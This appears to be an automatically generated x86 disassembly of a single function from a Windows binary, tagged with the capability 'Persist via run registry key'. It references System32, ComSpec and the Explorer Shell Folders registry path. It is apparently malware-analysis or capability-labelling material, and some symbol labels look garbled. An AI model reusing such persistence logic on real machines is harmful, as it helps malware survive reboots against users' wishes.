Function at 0x412622
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push 8
call fcn.004304c2
add esp, 4
mov dword [ebp - 4], eax
mov edi, eax
mov esi, 0x51c5b7
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov eax, 0x54a6d2
push eax
mov ebx, eax
call fcn.00402cff
pop eax
sub ebx, eax
push ecx
push ebx
push eax
shl ecx, 2
add ecx, ebx
push ecx
call fcn.004304c2
add esp, 4
pop esi
mov edi, eax
pop ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
pop ecx
test ecx, ecx
je 0x4126a3
push eax
lodsd eax, dword [esi]
push esi
push edi
push ecx
test eax, eax
je 0x412697
push eax
mov ebx, eax
call fcn.00401c00
inc eax
push eax
call fcn.004304c2
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop ecx
pop edi
pop esi
stosd dword es:[edi], eax
dec ecx
jne 0x41267a
pop eax
push eax
mov ebx, dword [ebp - 4]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4126c2
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4126be
imul eax, dword [ebx]
jmp 0x4126b3
mov ecx, eax
test ecx, ecx
je 0x4126e1
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x4126da
push ebx
push eax
call fcn.004304bc
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4126c8
call fcn.004304bc
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
call fcn.00402cff
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x412714
push 0x311
push 0x402364f
push 4
call fcn.004304d4
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x412731
push 0x311
push 0x402364f
push 1
call fcn.004304d4
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 8], ebx
push getpeername
push 0
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
test eax, eax
jne 0x41274e
mov eax, 0x51c568
push eax
push 1
mov ebx, 0x431320
call fcn.004304ce
add esp, 0x10
mov dword [ebp - 0xc], eax
push 0x54a6c5
push dword [ebp - 0xc]
call fcn.00403363
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x412792
push ebx
call fcn.004304bc
add esp, 4
cmp dword [ebp - 0x10], 0
je 0x4127b9
push 0
mov ebx, 0x430af0
call fcn.004304ce
add esp, 4
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
jmp 0x412d63
mov ebx, dword [ebp - 4]
call fcn.00402cff
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x4127e0
push 0x392
push 0x402364f
push 4
call fcn.004304d4
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4127fd
push 0x392
push 0x402364f
push 1
call fcn.004304d4
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 8], ebx
push getpeername
push 0
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
test eax, eax
jne 0x41281a
mov eax, 0x51c568
push eax
push 1
mov ebx, 0x431320
call fcn.004304ce
add esp, 0x10
mov dword [ebp - 0xc], eax
push getpeername
push 0
push str.System32
push 1
mov ebx, 0x431320
call fcn.004304ce
add esp, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call fcn.00403363
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41287e
push ebx
call fcn.004304bc
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x41288e
push ebx
call fcn.004304bc
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x412994
push getpeername
push 0
push str.ComSpec
push 1
mov ebx, 0x430dc0
call fcn.004304ce
add esp, 0x10
mov dword [ebp - 8], eax
push getpeername
push 0
push str.ComSpec
push 1
mov ebx, 0x430dc0
call fcn.004304ce
add esp, 0x10
mov dword [ebp - 0xc], eax
push closesocket
push 0
push 0
push 0
push 0
push 0
push getpeername
push 0
push 0x51c566
push getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x41290b
mov eax, 0x51c568
push eax
push 4
mov ebx, 0x431170
call fcn.004304ce
add esp, 0x34
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x412931
push ebx
call fcn.004304bc
add esp, 4
fild dword [ebp - 0x10]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fsub qword [0x524735]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.00402218
push 0x80000301
push 0
push eax
push getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x412966
mov eax, 0x51c568
push eax
push 2
mov ebx, 0x430e60
call fcn.004304ce
add esp, 0x1c
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x41298c
push ebx
call fcn.004304bc
add esp, 4
mov eax, dword [ebp - 0x24]
jmp 0x412d63
mov ebx, dword [ebp - 4]
call fcn.00402cff
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x4129bb
push 0x4ae
push 0x402364f
push 4
call fcn.004304d4
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4129d8
push 0x4ae
push 0x402364f
push 1
call fcn.004304d4
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 8], ebx
push getpeername
push 0
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
test eax, eax
jne 0x4129f5
mov eax, 0x51c568
push eax
push 1
mov ebx, 0x431320
call fcn.004304ce
add esp, 0x10
mov dword [ebp - 0xc], eax
push getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x412a1e
mov eax, 0x51c568
push eax
push 1
mov ebx, 0x430dc0
call fcn.004304ce
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x412a44
push ebx
call fcn.004304bc
add esp, 4
push 0x51c568
push dword [ebp - 0x10]
call fcn.00403363
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x412a72
push ebx
call fcn.004304bc
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x412b34
mov ebx, dword [ebp - 4]
call fcn.00402cff
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x412aa3
push 0x4fc
push 0x402364f
push 4
call fcn.004304d4
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x412ac0
push 0x4fc
push 0x402364f
push 1
call fcn.004304d4
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 8], ebx
push getpeername
push 0
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
test eax, eax
jne 0x412add
mov eax, 0x51c568
push eax
push 1
mov ebx, 0x431320
call fcn.004304ce
add esp, 0x10
mov dword [ebp - 0xc], eax
push getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x412b06
mov eax, 0x51c568
push eax
push 1
mov ebx, 0x430dc0
call fcn.004304ce
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x412b2c
push ebx
call fcn.004304bc
add esp, 4
mov eax, dword [ebp - 0x10]
jmp 0x412d63
mov ebx, dword [ebp - 4]
call fcn.00402cff
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x412b5b
push 0x58d
push 0x402364f
push 4
call fcn.004304d4
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x412b78
push 0x58d
push 0x402364f
push 1
call fcn.004304d4
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 8], ebx
push getpeername
push 0
mov ebx, dword [ebp - 8]
mov eax, dword [ebx]
test eax, eax
jne 0x412b95
mov eax, 0x51c568
push eax
push 1
mov ebx, 0x431320
call fcn.004304ce
add esp, 0x10
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 6
push getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x412bca
mov eax, 0x51c568
push eax
push 2
mov ebx, 0x430e60
call fcn.004304ce
add esp, 0x1c
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x412bf0
push ebx
call fcn.004304bc
add esp, 4
push getpeername
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x412c03
mov eax, 0x51c568
push eax
push 1
mov ebx, 0x431320
call fcn.004304ce
add esp, 0x10
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x412c29
push ebx
call fcn.004304bc
add esp, 4
push str.common
push dword [ebp - 0x14]
call fcn.00403363
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x412c57
push ebx
call fcn.004304bc
add esp, 4
cmp dword [ebp - 0x18], 0
je 0x412c6b
mov eax, 4
jmp 0x412c70
mov eax, 3
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 4]
call fcn.00402cff
push ebx
push ecx
mov eax, dword [ebp + 8]
dec eax
jns 0x412c9a
push 0x62a
push 0x402364f
push 4
call fcn.004304d4
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x412cb7
push 0x62a
push 0x402364f
push 1
call fcn.004304d4
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x20], ebx
push getpeername
push 0
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
test eax, eax
jne 0x412cd4
mov eax, 0x51c568
push eax
push 1
mov ebx, 0x431320
call fcn.004304ce
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders_
mov ecx, 2
call fcn.00401cec
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x412d12
push ebx
call fcn.004304bc
add esp, 4
push 0
push 0
push 0
push getpeername
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x412d2b
mov eax, 0x51c568
push eax
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 3
mov ebx, 0x4331a0
call fcn.004304ce
add esp, 0x28
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x412d5b
push ebx
call fcn.004304bc
add esp, 4
mov eax, dword [ebp - 0x2c]
jmp 0x412d63
push eax
mov ebx, dword [ebp - 4]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x412d82
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x412d7e
imul eax, dword [ebx]
jmp 0x412d73
mov ecx, eax
test ecx, ecx
je 0x412da1
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x412d9a
push ebx
push eax
call fcn.004304bc
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x412d88
call fcn.004304bc
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 8